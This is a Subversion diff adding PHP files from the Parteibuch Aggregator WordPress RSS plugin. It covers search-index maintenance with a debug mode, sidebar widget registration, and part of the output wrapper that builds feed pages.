+		sleep (abs(intval($bdprss_db->serverstatus['pbaload']['notice'])) * 10);
+		return false;
+	}
+
+  if($addheapmode == "") $addheapmode = $this->default_heapmode;
+  if($addheapmode == "bulk" && $this->bulklines == 0) return false;
+  if($item_ids2add===false) $item_ids2add=$this->get_ids4heap2add($heap_to_add, $bdprss_getidmode, $get_ids4heap2add_min_updatetimeage, $get_ids4heap2add_max_item_updatetimeage, $list_id);
+  
+  //add_items in loop
+  $bdprss_rowcounter=0;
+  if(is_array($item_ids2add)) {
+    foreach($item_ids2add as $add_item_id){
+      $bdprss_rowcounter++;
+      if($bdprsssearchdebug) echo " Debug: #$bdprss_rowcounter: ID $add_item_id->identifier -";
+      flush();
+      if($bdprss_getidmode=="processdeletes"){
+        $this->delete_item_from_search($add_item_id->identifier);
+      } else {
+        $this->add_item_to_search($add_item_id->identifier, $addheapmode);
+      }
+      if($addheapmode == "bulk"){
+        if($bdprss_rowcounter/$this->bulklines == intval($bdprss_rowcounter/$this->bulklines)) {
+          if($bdprsssearchdebug) echo "Debug: Rows processed: " . $bdprss_rowcounter;
+          if(count($this->bdprss_bulksql)>0) $this->process_bulk_sql();
+          if(strlen($this->bdprss_item_delete_sql)>0) $this->process_delete_sql();
+        }
+      }
+    }
+  }
+  if($addheapmode == "temptable" && strlen($this->bdprss_item_status_sql)>0){
+    $this->bdprss_item_status_sql = "REPLACE into " . $this->bdprss_searchtable_status . " 
+      Select identifier as item_id, md5(concat(item_site_name, ' ', item_name, ' ', text_body)) as md5, 'INTEMP' as status, item_time, item_update_time FROM " . $bdprss_db->itemtable . " 
+        WHERE identifier IN ( " . substr($this->bdprss_item_status_sql,2) . ")";
+        if($bdprsssearchdebug) echo " Debug bdprss_item_status_sql: " . $this->bdprss_item_status_sql;
+        flush();
+    $result = $wpdb->query($this->bdprss_item_status_sql);
+    $this->bdprss_item_status_sql="";
+  }
+  if(!$this->process_deletes && $insertfromtemptable && $addheapmode == "temptable"){
+    if($bdprsssearchdebug) echo "<br>Debug: Copying temp_table entries to indexed tables ...";
+    flush();
+    foreach($this->bdprss_searchtable as $table_to_search){
+      //print_r($table_to_search);
+      if($bdprsssearchdebug) echo "<br>Debug: Working on table $table_to_search[0]";
+      flush();
+      if($this->process_updates){
+        if($bdprsssearchdebug) echo " Debug " . date("H:i:s") . ": Deleting - ";
+        $deletesql="DELETE FROM $table_to_search[0] USING $table_to_search[0] INNER JOIN $this->bdprss_searchtable_status
+                WHERE " . $table_to_search[0] . ".item_id = " . $this->bdprss_searchtable_status . ".item_id
+                AND " . $this->bdprss_searchtable_status . ".status = 'INTEMP'";
+        if($bdprsssearchdebug) echo " Debug sql: " . $deletesql;
+        flush();
+        $result = $wpdb->query($deletesql);
+      }
+      if($bdprsssearchdebug) echo " Debug " . date("H:i:s") . ": Inserting - ";
+      flush();
+      $sql="Insert into $table_to_search[0] SELECT i.item_id AS item_id, i.index_word AS index_word, i.index_position 
+            FROM $this->bdprss_searchtable_temp i
+            WHERE ASCII( SUBSTRING( index_word , 1, 1 ) ) >= ASCII('$table_to_search[1]')
+            AND ASCII( SUBSTRING( index_word , 1, 1 ) ) <  ASCII('$table_to_search[2]')";
+      $result = $wpdb->query($sql);
+      if($bdprsssearchdebug) echo " Debug " . date("H:i:s") . ": Done " . $table_to_search[0];
+      flush();
+    }
+    $sql=" TRUNCATE TABLE $this->bdprss_searchtable_temp";
+    $result = $wpdb->query($sql);
+    $sql="UPDATE " . $this->bdprss_searchtable_status . " SET status = 'OK' WHERE status = 'INTEMP'";
+    $result = $wpdb->query($sql);
+  } elseif($addheapmode == "bulk"){
+    if(count($this->bdprss_bulksql)>0) $this->process_bulk_sql();
+  }
+  if(strlen($this->bdprss_item_delete_sql)>0) $this->process_delete_sql();
+}
+
+//only for debug purpose so far
+function get_search_index_info(){
+   global $wpdb, $bdprss_db, $bdprsssearchdebug;
+
+  $sql = "SELECT status , count( status ) count
+    FROM " . $this->bdprss_searchtable_status . "
+    GROUP BY status";
+  $searchindex_status=$wpdb->get_results($sql);
+
+  if($bdprsssearchdebug) echo "\n<br><br>Debug: Status of search index: ";
+  if($bdprsssearchdebug) print_r($searchindex_status);
+  
+  return $searchindex_status;
+}
+
+
+  } //class BDPRSS_SEARCH
+} //if class BDPRSS_SEARCH not exists
+
+// Make a singleton global instance.
+if ( !isset($bdprss_search) ) $bdprss_search = new BDPRSS_SEARCH();
+
+if($bdprsssearchdebug){
+  //function is broken in direct use mode, neither tmp tables nor bulk mode is executed then!!!
+  //deletion before insert still missing, too
+  //$bdprss_add_searchitem_id=abs(intval($_GET['additemid'])); 
+  $bdprss_addheap=abs(intval($_GET['addheap']));
+  $bdprss_create_proc=$_GET['createproc'];
+  $bdprss_searchphrase=stripslashes($_GET['searchphrase']);
+  $bdprss_heapmode=stripslashes($_GET['heapmode']);
+  if($bdprss_heapmode == "temp") $bdprss_heapmode = "temptable"; //just a short alias
+  $bdprss_getidmode=stripslashes($_GET['getidmode']);
+  if($bdprss_getidmode!="notinstatus" && $bdprss_getidmode!="maxitem_id" && $bdprss_getidmode!="processupdates" && $bdprss_getidmode!="processdeletes") {
+    $bdprss_getidmode="";
+  } else {
+    echo "Debug getidmode is $bdprss_getidmode ... ";
+  }
+  if(isset($_GET['mifd'])) $bdprss_mifd=abs(intval($_GET['mifd']));
+  if(isset($_GET['mifu'])) $bdprss_mifu=abs(intval($_GET['mifu']));
+  if(isset($_GET['listid'])) {
+    $bdprss_debug_list_id=abs(intval($_GET['listid']));
+  }else{
+    $bdprss_debug_list_id=0;
+  }
+  if(isset($_GET['maxage'])) {
+    $get_ids4heap2add_max_item_updatetimeage=abs(intval($_GET['maxage']));
+  }else{
+    $get_ids4heap2add_max_item_updatetimeage="";
+  }
+
+  if(isset($_GET['minage'])) {
+    $get_ids4heap2add_min_updatetimeage=abs(intval($_GET['minage']));
+  }else{
+    $get_ids4heap2add_min_updatetimeage="";
+  }
+
+
+  if($bdprss_mifd > 0 || $bdprss_mifd == '0'){
+    echo "Marking item #" . $bdprss_mifd . " for delete ... ";
+    $bdprss_debug_result=$bdprss_search->markitem4delete($bdprss_mifd);
+    echo "<br>Debugresult given out:<br>";
+    print_r($bdprss_debug_result);
+  }elseif($bdprss_mifu > 0 || $bdprss_mifu == '0'){
+    echo "Marking item #" . $bdprss_mifu . " for update ... ";
+    $bdprss_debug_result=$bdprss_search->markitem4update($bdprss_mifu);
+    echo "<br>Debugresult given out:<br>";
+    print_r($bdprss_debug_result);
+  }elseif($bdprss_create_proc > 0) {
+    echo "Recreating procedure ... ";
+    $bdprss_debug_result=$bdprss_search->bdprss_create_proc();
+    echo "<br>Debugresult given out:<br>";
+    print_r($bdprss_debug_result);
+  }elseif($bdprss_searchphrase != "") {
+    $bdprss_searchphrase=urldecode(str_replace("_","+",$bdprss_searchphrase));
+    echo "Searchphrase " . utf8_encode($bdprss_searchphrase) . " ... ";
+    
+    $bdprss_search_result=$bdprss_search->bdprss_search4items(utf8_encode($bdprss_searchphrase),0, 20, false, $bdprss_debug_list_id);
+    echo "<br>Searchresult given out:<br>";
+    print_r($bdprss_search_result);
+  }elseif($bdprss_add_searchitem_id > 0) {
+    echo "item_id = $bdprss_add_searchitem_id";
+    //add_item_to_search($bdprss_add_searchitem_id); //broken !!! siehe oben
+  } elseif($bdprss_addheap > 0 || $bdprss_heapmode == "temptable") {
+    if($bdprss_addheap > $bdprss_search->heap_to_add) $bdprss_addheap = $bdprss_search->heap_to_add;
+    echo " processing $bdprss_addheap entries ...";
+    
+    $heapmode=$bdprss_search->default_heapmode;
+    $insertfromtemptable=true;
+    
+    if($bdprss_heapmode == "temptable") {
+      if($bdprss_getidmode!="processdeletes") echo " using temp table $bdprss_search->bdprss_searchtable_temp ...";
+      $heapmode="temptable";
+    } elseif($bdprss_heapmode == "justinsert2temptable") {
+      echo " inserting 2 temp table $bdprss_search->bdprss_searchtable_temp without copying temp table to productive tables...";
+      $heapmode="temptable";
+      $insertfromtemptable=false;
+    } 
+    if($heapmode=="bulk") {
+      if($bdprss_search->bulklines>0) echo " using bulks of $bdprss_search->bulklines lines ...";
+    }
+    $bdprss_search->add_heap2search_index($bdprss_addheap, $heapmode, false, $insertfromtemptable, $bdprss_getidmode, $bdprss_debug_list_id, $get_ids4heap2add_max_item_updatetimeage, $get_ids4heap2add_min_updatetimeage);
+  } else {
+    echo " nothing to do, use GET switches to do something in debug mode";
+  }
+
+  if($bdprsssearchdebug_with_searchindex_info) $bdprss_search->get_search_index_info();
+  echo "<br><Br>Debug: $bdprss_search->bdprss_globalcounter Words. " . $wpdb->num_queries . " queries. " . number_format(timer_stop(),3) . " seconds. </small>"; 
+
+}// if bdprsssearchdebug
+
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba-widgets.php	(revision 44)
@@ -0,0 +1,172 @@
+<?php
+
+	//let's make some widgets
+	//Thanks to brainfart for the lesson ;-)
+	//http://brainfart.com.ua/post/lesson-wordpress-multi-widgets/
+
+		add_action('init', 'pba_register_widgets');
+
+function pba_register_widgets() {
+	if(!function_exists('wp_register_sidebar_widget')) return false;
+
+	$prefix = 'pba_itemtitles'; // $id prefix
+	$name = __('RSS Aggregator');
+	$widget_ops = array('classname' => 'widget_name_multi', 'description' => __('Add item titles of your aggregated feeds to your blog&#39;s sidebar'));
+	$control_ops = array('width' => 200, 'height' => 200, 'id_base' => $prefix);
+ 
+	$options = get_option('widget_name_multi');
+	if(isset($options[0])) unset($options[0]);
+ 
+	if(!empty($options)){
+		foreach(array_keys($options) as $widget_number){
+			wp_register_sidebar_widget($prefix.'-'.$widget_number, $name, 'widget_name_multi', $widget_ops, array( 'number' => $widget_number ));
+			wp_register_widget_control($prefix.'-'.$widget_number, $name, 'widget_name_multi_control', $control_ops, array( 'number' => $widget_number ));
+		}
+	} else{
+		$options = array();
+		$widget_number = 1;
+		wp_register_sidebar_widget($prefix.'-'.$widget_number, $name, 'widget_name_multi', $widget_ops, array( 'number' => $widget_number ));
+		wp_register_widget_control($prefix.'-'.$widget_number, $name, 'widget_name_multi_control', $control_ops, array( 'number' => $widget_number ));
+	}
+}
+
+function widget_name_multi($args) {
+	if(!function_exists('wp_register_sidebar_widget')) return false;
+		$prefix = 'pba_itemtitles'; // $id prefix
+    extract($args);
+		$options = get_option('widget_name_multi');
+
+//    echo "<br>See the calling arguments for the widget with id " . $widget_id . ":<br>";
+//    print_r($args);
+//    echo "<br>See all the saved options:";
+//    print_r($options);
+
+		if(preg_match('/'.$prefix.'-([0-9]+)/i', $widget_id, $match)){
+			$widget_number = $match[1];
+			//echo "<br>Fine, this is our widget number " . $widget_number;
+			if(isset($options[$widget_number])){
+				$pba_option_set=$options[$widget_number];
+//				echo "<br>Great, we have an option set, which we can use as input parameter to our stuff: ";
+				//print_r($pba_option_set);
+				echo $before_widget; echo $before_title; 
+				if(isset($pba_option_set['title'])) echo $pba_option_set['title'];
+				echo $after_title;
+				if(isset($pba_option_set['pba_outputid'])) {
+					//echo "Output ID: " . $pba_option_set['pba_outputid'];
+					$pba_config['outputid']=$pba_option_set['pba_outputid'];
+					$pba_config['show_sidebarwidget'] = 'Y';
+					$pba_return=@PBA::outputwrapper($pba_config);
+					echo $pba_return["result"];
+				}
+				echo $after_widget;
+			}
+		}
+ }
+
+function widget_name_multi_control($args) {
+ 	if(!function_exists('wp_register_sidebar_widget')) return false;
+
+	$prefix = 'pba_itemtitles'; // $id prefix
+ 
+	$options = get_option('widget_name_multi');
+	if(empty($options)) $options = array();
+	if(isset($options[0])) unset($options[0]);
+ 
+	// update options array
+	if(!empty($_POST[$prefix]) && is_array($_POST)){
+		foreach($_POST[$prefix] as $widget_number => $values){
+			if(empty($values) && isset($options[$widget_number])) // user clicked cancel
+				continue;
+ 
+			if(!isset($options[$widget_number]) && $args['number'] == -1){
+				$args['number'] = $widget_number;
+				$options['last_number'] = $widget_number;
+			}
+			$options[$widget_number] = $values;
+		}
+ 
+		// update number
+		if($args['number'] == -1 && !empty($options['last_number'])){
+			$args['number'] = $options['last_number'];
+		}
+ 
+		// clear unused options and update options in DB. return actual options array
+		$options = bf_smart_multiwidget_update($prefix, $options, $_POST[$prefix], $_POST['sidebar'], 'widget_name_multi');
+	}
+ 
+	// $number - is dynamic number for multi widget, gived by WP
+	// by default $number = -1 (if no widgets activated). In this case we should use %i% for inputs
+	//   to allow WP generate number automatically
+	$number = ($args['number'] == -1)? '%i%' : $args['number'];
+ 
+	// now we can output control
+	$opts = @$options[$number];
+ 
+	$title = @$opts['title'];
+ 
+  echo 'Please enter a name for your widget:<br />'; 
+	echo '<input type="text" ' . 
+		'name="' . $prefix . '[' . $number . '][title]" ' . 
+		'value="' . $title . '" /><br /><br />';
+
+	global $bdprss_db;
+	$pba_output_streams=$bdprss_db->get_all_pbaoutputs();
+	if($pba_output_streams) {
+		//print_r($pba_output_streams);
+		echo 'Please select an output stream:<br />'; 
+		echo '<select name="' . $prefix . '[' . $number . '][pba_outputid]">';
+		$didselect=false;
+		foreach($pba_output_streams as $pbaosnr => $pba_os_object){
+			$selected="";
+			if($pba_os_object->identifier == @$opts['pba_outputid']) {
+				$selected=" selected ";
+				$didselect=true;
+			}
+			if(($pbaosnr + 1) == count($pba_output_streams) && !$didselect) $selected=" selected ";
+			echo '<option value="'.$pba_os_object->identifier.'"'.$selected.' >ID: '.$pba_os_object->identifier.'&nbsp;-&nbsp;'.$pba_os_object->name.'&nbsp;</option>' . "\n";
+		}
+		echo '</select>';
+	}else{
+		echo 'Parteibuch Aggregator could not detect any output format to show in this widget. 
+			You need to <a href="edit.php?page=parteibuch-aggregator/bdp-rssadmin.php&action=createpbaoutput">create an output format</a> first.';
+	}
+}
+
+// helper function can be defined in another plugin
+if(!function_exists('bf_smart_multiwidget_update')){
+	function bf_smart_multiwidget_update($id_prefix, $options, $post, $sidebar, $option_name = ''){
+		global $wp_registered_widgets;
+		static $updated = false;
+ 
+		// get active sidebar
+		$sidebars_widgets = wp_get_sidebars_widgets();
+		if ( isset($sidebars_widgets[$sidebar]) )
+			$this_sidebar =& $sidebars_widgets[$sidebar];
+		else
+			$this_sidebar = array();
+ 
+		// search unused options
+		foreach ( $this_sidebar as $_widget_id ) {
+			if(preg_match('/'.$id_prefix.'-([0-9]+)/i', $_widget_id, $match)){
+				$widget_number = $match[1];
+ 
+				// $_POST['widget-id'] contain current widgets set for current sidebar
+				// $this_sidebar is not updated yet, so we can determine which was deleted
+				if(!in_array($match[0], $_POST['widget-id'])){
+					unset($options[$widget_number]);
+				}
+			}
+		}
+ 
+		// update database
+		if(!empty($option_name)){
+			update_option($option_name, $options);
+			$updated = true;
+		}
+ 
+		// return updated array
+		return $options;
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba_output_function.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba_output_function.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/parteibuch-aggregator/pba_output_function.php	(revision 44)
@@ -0,0 +1,357 @@
+<?php
+class PBA extends BDPRSS2
+{
+
+  // Redefine the output function by wrapping the old output function
+  function outputwrapper($pba_calling_paras=1){
+		//when called with a single number, we understand output id is meant
+    $numargs = func_num_args();
+    if(!is_array($pba_calling_paras) && $numargs > 0) {
+      if(preg_match('/^([0-9]+)$/', $pba_calling_paras)) {
+      	$pba_calling_paras_tmp=$pba_calling_paras;
+      	$pba_calling_paras=array();
+				$pba_calling_paras['outputid']=$pba_calling_paras_tmp;
+      }
+    }
+
+		$pbaout['debug'] .= "\n<br>Debug: using new outputwrapper from class PBA extending BDPRSS2";
+		$pbaout['profiler']['Start of outputwrapper']=microtime();
+
+		//global objects
+		global $bdprss_db, $bdprss_search;
+
+		//quick - time is money - to answer questions: 
+		//do we want the plugin to show anything at all?
+		//do we need to shutdown wordpress after outputwrapper was called?
+		//what to do - we expect parameter array containing output id, but just have $post
+		//can we cache parameter bootstrap?
+		
+		$resultparas=PBALIB::bootstrap_parameters($pba_calling_paras); 
+
+		if(!is_array($resultparas)){ //fix sidebar and box displaying and detection of correct output page later?
+			$pbaout['shutdown']=false;
+			$pbaout['result']=false;
+			return $pbaout;
+		}
+
+		//check for redirect - fix me later, this would be much better placed in the library and use the resultparas calculated before
+		if($resultparas['short_cache_link']){
+				$redirect_debug=false;
+				$exp2match="'" . get_option('home') . "/([a-zA-Z0-9-]+)/(index.php)?\?searchphrase=([a-zA-Z0-9-+%_]+)'s";
+				if($redirect_debug) echo "<br/>exp2match: " . $exp2match;
+				$request="http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+				if($redirect_debug) echo "<br>request_uri: " . $request;
+				preg_match($exp2match, $request, $matches);
+				if($redirect_debug) echo "<br>matches: " . PBALIB::get_r($matches);
+				if(isset($matches[1]) && isset($matches[3])){
+				  $searchstring=str_replace("_","%5F",$matches[3]);
+				  $searchstring=str_replace("+","_",$searchstring);
+				  $searchstring=urlencode(str_replace("/","_",urldecode($searchstring)));
+				  $redirect = get_option('home') . '/' . $matches[1] . "/s/" . $searchstring . "/";
+					if($redirect_debug) echo "<br/>redirect: " . $redirect;
+					//header("Location: " . $redirect);
+					//exit;
+					$pbaout['redirect']=true;
+					$pbaout['result']=$redirect;
+					return $pbaout;
+				}
+		} // end checking for redirect
+
+		//checkpoint parameter bootstrap finished 
+		//the one and only result from all lines before this point shall be the resultparas array
+		//which has exactly the same keys as the default parameter array
+		//but we also got pbaout debug and pbaout profiler
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['End of parameter bootstrap']=microtime();
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: resultparas at checkpoint parameter bootstrap finished: " . PBALIB::get_r($resultparas); 
+
+		if($resultparas['pba_full_cache_time'] > 0) {
+			$fullcache=@PBALIB::pba_cache($resultparas, $dummy, 'get', 'full', 'mixed', $resultparas['pba_full_cache_time'], 'OK');
+			if($fullcache[1]) {
+				$profilertmp = $pbaout['profiler'];
+				$pbaout = $fullcache[0];
+				$pbaout['profiler'] = $profilertmp;
+				if($resultparas["profiler_enabled"]) {
+					$pbaout['profiler']['Got full cache']=microtime();
+					$pbaout['profiler']=PBALIB::process_profiler($pbaout['profiler']);
+				}
+				return $pbaout;
+			}
+		}
+
+		//let's do some calculations based on these parameters not producing output
+		//but just producing more parameters, that shall make us living more easy later :-)
+		
+		//calculate displayonlybox parameter - this is only a temporary solution and shall be removed later
+		//and unset all other displayonly, makeonly and feedlistrequest parameters
+		//lot's of parameter junk avoided
+		if($resultparas['opmlrequest'] == true || $resultparas['opmlrequest'] == 'Y'){
+			$resultparas['displayonlybox']='opml_box';
+		}elseif($resultparas['feedlistrequest'] == true || $resultparas['feedlistrequest'] == 'Y'){
+			$resultparas['displayonlybox']='feedlist_box';
+		}elseif(strlen($resultparas['displayonlybox'])>1){
+			//displayonlybox parameter is used, we will not care for more displayonly and makeonly parameters
+			true; //no need to unset display only and makeonly values here, unset a few rows later anyway
+		}elseif($resultparas['displayonlykalender'] == 'Y'){
+			if($resultparas['kalender_as_box']){
+				$resultparas['displayonlybox']='kalender_box';
+			}else{
+				$resultparas['displayonlybox']='kalenderlist_box';
+			}
+		}else{
+			true; //no need to unset here, anyway done in next lines, unset($resultparas['displayonlybox']);
+		}
+		unset($resultparas['displayonlykalender']);
+		unset($resultparas['displayonlysearchbox']);
+		unset($resultparas['makeonlyfeedlist']);
+		unset($resultparas['feedlistrequest']);
+		unset($resultparas['opmlrequest']);
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: Displayonlybox calculated: " . PBALIB::get_r($resultparas['displayonlybox']);
+
+		//generally available system constants
+		$resultparas["now"]=date('r');
+
+		//quickly calculate some href  values for global navigation - 
+		//these might be used in boxes and anywhere else in templates
+
+    //calculate some more global href values
+    //uses $resultparas['feedrequest'], $resultparas['feedpage'], 
+    //$resultparas['srequri'], $resultparas['baseurl'], $resultparas['short_cache_link']
+    //$resultparas['searchphrase'], $resultparas['archivdate']
+
+    //calculate the href to the feedalized version of this page
+		$resultparas['feedhref']= PBALIB::makefeedhref($resultparas);
+		
+    if($resultparas['feedrequest']){
+			$resultparas['htmlhref']= PBALIB::makehtmlhref($resultparas);
+    }
+		
+    //calculate the href to the feedlist and opml for this page - where is output_id and list_id?
+    $resultparas['feedlisthref']= PBALIB::makefeedlisthref($resultparas);
+    $resultparas['feedopmlhref']= PBALIB::makefeedopmlhref($resultparas);
+
+		//link to kalender start page makedatepagehref($thedate="", &$resultparas, $regardkalenderlinkpart=false, $forcekalender=false)
+		$resultparas['kalenderhref']=PBALIB::makedatepagehref("", $resultparas, false, true);
+
+		//what page template was requested with this output function call? 
+		//let's find out $resultparas['pagetype'], $resultparas['template']
+
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['Before analyze pagetype']=microtime();
+
+		$pagetype=PBALIB::analysepagetype($resultparas);
+		$resultparas['pagetype']=$pagetype['pagetype'];
+		$resultparas['template']=$pagetype['template'];
+		$pbaout['error'].=$pagetype['error'];
+
+		//$resultparas['pagetype'] is now one of these: 'tickerpage'; 'searchpage'; 'datepage'; 'startpage'; 'feedpage'; 'feedsearchpage'; 'feeddatepage'; 'cachepage'; 'kalpage'; 'feedlistpage'; 'opmlpage'; 'nopage'; 'errorpage';
+		//$resultparas['template'] is one of these: ticker, feed, cache, kalender, $resultparas['displayonlybox']
+		//or a pseudotemplate for boxonlyrequests: kalender_box, kalenderlist_box, search_box, feedlistsidebar_box
+		//or error if we can't find out
+
+		if($resultparas['template'] == 'feed'
+			|| $resultparas['template'] == 'feedlist_box'
+			|| $resultparas['template'] == 'opml_box'
+			) $pbaout['shutdown'] = true;
+
+		//calculate resultparas rawtemplate to understand which boxes we will have to build
+		if($resultparas['pagetype']=='nopage') {
+			$resultparas['rawtemplate'] = '###' . strtoupper($resultparas['template']) . '###';
+		} elseif(strlen($resultparas['template'])>0) {
+			//to do: this shall come via resultparas from db later
+			$resultparas['rawtemplate'] = $resultparas['template_' . $resultparas['template']];
+		} 
+		if(!isset($resultparas['rawtemplate'])){
+			//to do: this shall come via resultparas from db later
+			$resultparas['rawtemplate'] = $resultparas['template_error'];
+			$pbaout['error'].= "Something went wrong with page type detection and template assignment:" . $resultparas['template'];
+		}
+
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: Before analyze needed boxes: pagetype: " . PBALIB::get_r($pagetype) . " Raw Template: " . $resultparas['rawtemplate']; 
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['Before analyze needed boxes']=microtime();
+
+		//now we can analyze our rawtemplate
+		//do we need boxes? which boxes do we need?
+		// we have the following boxes: 
+		//1. search_box, 2. kalender_box, 3. kalenderlist_box, 4. feedlistsidebar_box, 5. sendfeedpermail_box  - uh missing, but should be here
+
+		//ask config if to change this list, remove boxes, which are forbidden by config, add those explicitely required by config
+		$resultparas['rawtemplate'] .= $resultparas['forceboxmaking'];
+
+		$boxesneeded=PBALIB::analyze_needed_elements($resultparas['rawtemplate'], '_BOX');
+		$resultparas["boxesneeded"]=$boxesneeded['result'];
+		
+		
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: Detected needed boxes: " . PBALIB::get_r($resultparas["boxesneeded"]);
+		//now we know which boxes we need and can make them
+		if(is_array($resultparas["boxesneeded"])){
+			//no array means no box to make
+			foreach($resultparas["boxesneeded"] as $boxtomake => $dummy){
+				if($resultparas["profiler_enabled"]) $pbaout['profiler']['Before making ' . $boxtomake]=microtime();
+				$box[$boxtomake]=PBALIB::makebox($boxtomake, $resultparas, $pbaout);
+				//if($resultparas["profiler_enabled"]) $pbaout['profiler']=array_merge($pbaout['profiler'], $box[$boxtomake]['profiler']);
+			}
+		} //end if(is_array($resultparas["boxesneeded"]))
+		
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: Box making done. box: " . PBALIB::get_r($box); 
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['Box making done']=microtime();
+
+		if($resultparas["debug"]) $pbaout['debug1'] .= "\n<br>See my box collection: " . PBALIB::get_r($box); 
+		//process boxes, shall be much earlier? why pbaout?
+		if(is_array($box)){
+			foreach($box as $boxname => $boxvalue){
+				if($boxvalue['result']) $pbaout[$boxname] = $boxvalue['result'];
+			}
+		}
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['After copying boxes to pbaout']=microtime();
+
+		if($resultparas['displayonlybox']){
+			$pbaout['result']=$box[$resultparas['displayonlybox']]['result'];
+			if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: We exit here, because box making done and resultparas['displayonlybox']: " . $resultparas['displayonlybox']; 
+      if($resultparas["profiler_enabled"]) $pbaout['profiler']=PBALIB::process_profiler($pbaout['profiler']);
+			return $pbaout;
+		}
+
+    //to be completed - sensible input and prevent system outpage due to misconfiguration
+    if( $resultparas['maxitems'] > $resultparas['maxitemslimit'] 
+      || $resultparas['maxitems'] == 0 || $resultparas['maxitems'] == 'N'
+      ) $resultparas['maxitems'] = $resultparas['maxitemslimit'];
+
+    //calculate some basic parameters like used in old output routine
+    //start parameter for db query from tickerpage and maxitems
+    $resultparas['start']=($resultparas['tickerpage']-1) * $resultparas['maxitems'];
+
+		//disable social bookmarks for search results - more conditions for disabling? where to do it best?
+		if($resultparas['searchphrase'] !="") $resultparas['add_social_bookmarks']="N";
+
+		//checkpoint all resultparas calculated - better name would be: before main loop
+		// here are all input resultparas calculated, no more resultparas changing after this line. exception: gettheage set's it's array resultparameter on first call
+		if($resultparas["profiler_enabled"]) $pbaout['profiler']['All resultparas calculated']=microtime();
+		if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: resultparas at checkpoint all resultparas calculated: " . PBALIB::get_r($resultparas); 
+
+//use new output routine
+//when not a kalender request, - onlybox requests exited already - let's query the ids, for kalender request we need completely diffrent handling
+    if($resultparas['pagetype']!='errorpage' && $resultparas['pagetype']!= 'kalpage' && !$resultparas['displayonlybox']){
+			//prepare some basic values - may be do better later, when explicitely requested?
+
+	    // prepare the acceptable tags - it's constant per output id, so it could be made already when storing the output config !!!
+			$resultparas['formattedtagset']=PBALIB::processtagset($resultparas['tagset']);
+	
+	    //set parameters depending on formattype
+	    //possible formattypes: 'countrecentitem', 'daterecentitem', 'sitealpha', 'siteupdate'
+	    
+	    if($resultparas['formattype']=='daterecentitem') $resultparas['fromtimestamp'] = time() - $resultparas['daterecentitemthreshold'];
+	    if($resultparas['formattype']=='siteupdate') $resultparas['opsfilter']=true;
+	    if($resultparas['formattype']=='sitealpha') {
+	      $resultparas['opsfilter']=true;
+	      $resultparas['orderbysitename']=true;
+	      $resultparas['fromtimestamp'] = time() - $resultparas['sitealphathreshold'];
+	    }
+
+      global $bdprsssearchdebug;
+      $bdprsssearchdebug=false;
+      //parameter site ids and parameter feed not used so far
+			if($resultparas["profiler_enabled"]) $pbaout['profiler']['Before search4items']=microtime();
+      $id_result = $bdprss_search->bdprss_search4items($resultparas['searchphrase'], $resultparas['start'], $resultparas['maxitems'], false, $resultparas['listid'], $resultparas['archivdate'], "", $resultparas['fromtimestamp'], $resultparas['totimestamp'], $resultparas['opsfilter'], $resultparas['orderbysitename'], $resultparas['cacheid']);
+      $bdprsssearchdebug=false;
+      global $found_tickeritems;
+      $pbaout['founditems']=$found_tickeritems;
+      $pbaout['startitem']=$resultparas['start'] + 1;
+      if($found_tickeritems == 0) $pbaout['startitem'] = "0";
+			$pbaout['lastitem']=min($found_tickeritems,$resultparas['start']+$resultparas['maxitems']);
+      if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: we got an item id list from the search engine: " . PBALIB::get_r($id_result); 
+
+//calculate last page and next page href
+      if($resultparas['tickerpage']>1) { 
+      	$pbaout['lastpageexists']=true;
+      	$pbaout['lastpage']=$resultparas['tickerpage'] - 1;
+				$pbaout['lastpagehref']=PBALIB::makelastpagehref($pbaout['lastpage'], $resultparas);
+      }
+
+			if($pbaout['lastitem'] < $pbaout['founditems']) {
+			  $pbaout['nextpageexists']=true;
+				$pbaout['nextpage']=$resultparas['tickerpage'] + 1;
+				$pbaout['nextpagehref']=PBALIB::makenextpagehref($pbaout['nextpage'], $resultparas);
+			}
+
+//get the real row data
+//to do better would be to have row wise query in while loop
+      if($id_result){
+
+				if($resultparas["profiler_enabled"]) $pbaout['profiler']['Before getsitenitems']=microtime();
+      	$itemset = $bdprss_db->getsitenitems(&$id_result, $resultparas['orderbysitename']);
+      	if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: we got result from the item table: " . PBALIB::get_r($itemset); 
+      	
+      	//might be sensible to make programmer interface to give out original db row results as option?
+      	//$pbaout['rawrowdata']=$itemset;
+
+
+      	//now let's loop through the data rows and format them
+      	if($itemset){
+					if($resultparas["profiler_enabled"]) $pbaout['profiler']['Before formatting items']=microtime();
+					
+					if($resultparas['pagetype']!='cachepage') {
+						$itemtemplate=PBALIB::preprocess_itemtemplate($resultparas);
+					}else{
+						$footertemplate=PBALIB::preprocess_headertemplate(&$resultparas, &$pbaout, true);
+						$itemtemplate=$footertemplate;
+					}
+					$itemvaluesneeded=PBALIB::analyze_needed_elements($itemtemplate);
+					if($resultparas['cacheid']>0) $itemtemplate ="";
+					if($resultparas["debug"]) $pbaout['debug'] .= "\n<br>Debug: we need to calculate the following item values: " . PBALIB::get_r($itemvaluesneeded); 
+	      	foreach($itemset as $resultrownumber => $item) {
